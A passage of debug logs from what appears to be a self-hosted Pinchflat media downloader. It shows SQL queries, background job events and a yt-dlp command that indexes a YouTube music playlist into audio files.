duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [99] 22:19:45.680 [debug] Current batch of media processed. Will check again in 1000ms 22:19:45.806 [info] GET /sources/5 22:19:45.806 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "5"} Pipelines: [:browser] 22:19:45.807 [debug] QUERY OK source="sources" db=0.4ms idle=130.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:19:45.808 [debug] QUERY OK source="media_profiles" db=0.4ms idle=129.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:19:45.808 [debug] QUERY OK source="tasks" db=0.1ms idle=129.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [5, "executing", "available", "scheduled", "retryable"] 22:19:45.808 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=128.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [180] 22:19:45.808 [debug] QUERY OK source="settings" db=0.0ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:45.809 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:45.809 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:45.810 [debug] QUERY OK source="sources" db=0.0ms idle=1.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:19:45.810 [debug] QUERY OK source="media_items" db=0.2ms idle=1.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 22:19:45.811 [debug] QUERY OK source="media_items" db=0.3ms idle=1.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 22:19:45.811 [debug] QUERY OK source="sources" db=0.1ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:19:45.812 [debug] QUERY OK source="media_items" db=0.1ms idle=1.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [5] 22:19:45.812 [debug] QUERY OK source="media_items" db=0.3ms idle=1.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 22:19:45.931 [info] {"args":{"force":true,"id":5},"id":180,"meta":{},"system_time":1784859585931403127,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 22:19:45.931 [debug] QUERY OK source="sources" db=0.1ms idle=119.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:19:45.932 [debug] QUERY OK source="settings" db=0.1ms idle=119.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:45.932 [debug] QUERY OK source="media_items" db=0.1ms idle=119.7ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 22:19:45.932 [debug] QUERY OK source="media_items" db=0.0ms idle=1.2ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [5] 22:19:45.932 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:19:45.933 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:45.933 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 22:19:45.933 [debug] Current batch of media processed. Will check again in 1000ms 22:19:45.933 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:45.933 [debug] QUERY OK source="settings" db=0.1ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:45.934 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:45.934 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://m.youtube.com/playlist?list=PLCNCRHWFrHFw27-3S7sNjLhM3X9B1iop6 --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/ChristianMetal/ChristianMetal/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/35/aa/35aa474b0f9779c126b0d8a555ccebf3728a24aa61b9a5a92d2867f7d497b0db.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:19:45.941 [debug] QUERY OK source="sources" db=128.8ms idle=1.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:19:45.942 [debug] QUERY OK source="media_items" db=0.3ms idle=9.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [5] 22:19:45.943 [debug] QUERY OK source="media_items" db=0.4ms idle=9.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 22:19:45.943 [info] Sent 200 in 137ms 22:19:46.103 [info] CONNECTED TO Phoenix.LiveView.Socket in 22µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "NilRcixlARYCPmU-DykFExwfUwY3OyMg_DbEE-hWiXQnmd4ELugudOtc", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.tail3db17d.ts.net/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.tail3db17d.ts.net/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 22:19:46.118 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "pending", "source_id" => 5} 22:19:46.118 [debug] QUERY OK source="sources" db=0.2ms idle=184.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:19:46.118 [debug] QUERY OK source="media_items" db=0.2ms idle=184.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 22:19:46.119 [debug] QUERY OK source="media_items" db=0.4ms idle=177.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 22:19:46.119 [debug] Replied in 1ms 22:19:46.120 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "downloaded", "source_id" => 5} 22:19:46.120 [debug] QUERY OK source="sources" db=0.1ms idle=178.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:19:46.121 [debug] QUERY OK source="media_items" db=0.0ms idle=177.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [5] 22:19:46.121 [debug] QUERY OK source="media_items" db=0.1ms idle=2.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 22:19:46.121 [debug] Replied in 844µs 22:19:46.122 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "other", "source_id" => 5} 22:19:46.122 [debug] QUERY OK source="sources" db=0.1ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:19:46.123 [debug] QUERY OK source="media_items" db=0.1ms idle=3.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [5] 22:19:46.123 [debug] QUERY OK source="media_items" db=0.2ms idle=2.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 22:19:46.123 [debug] Replied in 1ms 22:19:46.680 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "THE CYBERIA PLAYLIST: https://open.spotify.com/playlist/5dB3BPFWmOJrnRE7kHpim1?si=1e316d3f2a3a4e38&nd=1\nui gui uwu \n\nSewerslvt - NTR Ending\nTOKYOPILL - Metadata\nXxtarlit⚸ - Fleeting Frozen Heart\nZenithLights - Not Human", "duration" => 305, "filename" => "/downloads/Breakcore/Breakcore/2022-01-11All Evangelion UI ⧸ GUI Scenes (+EOE) : [Breakcore EDITION] v.2[k0oQr7ZVtBQ].m4a", "id" => "k0oQr7ZVtBQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=k0oQr7ZVtBQ", "playlist_index" => 10, "timestamp" => 1641877215, "title" => "All Evangelion UI / GUI Scenes (+EOE) : [Breakcore EDITION] v.2", "upload_date" => "20220111"} 22:19:46.681 [debug] QUERY OK source="sources" db=0.4ms idle=559.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:19:46.682 [debug] QUERY OK source="sources" db=0.1ms idle=560.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:46.682 [debug] QUERY OK source="media_items" db=0.1ms idle=559.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-01-11 05:00:15Z], 3] 22:19:46.933 [debug] Current batch of media processed. Will check again in 1000ms 22:19:47.106 [debug] QUERY OK source="media_items" db=423.9ms idle=559.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON 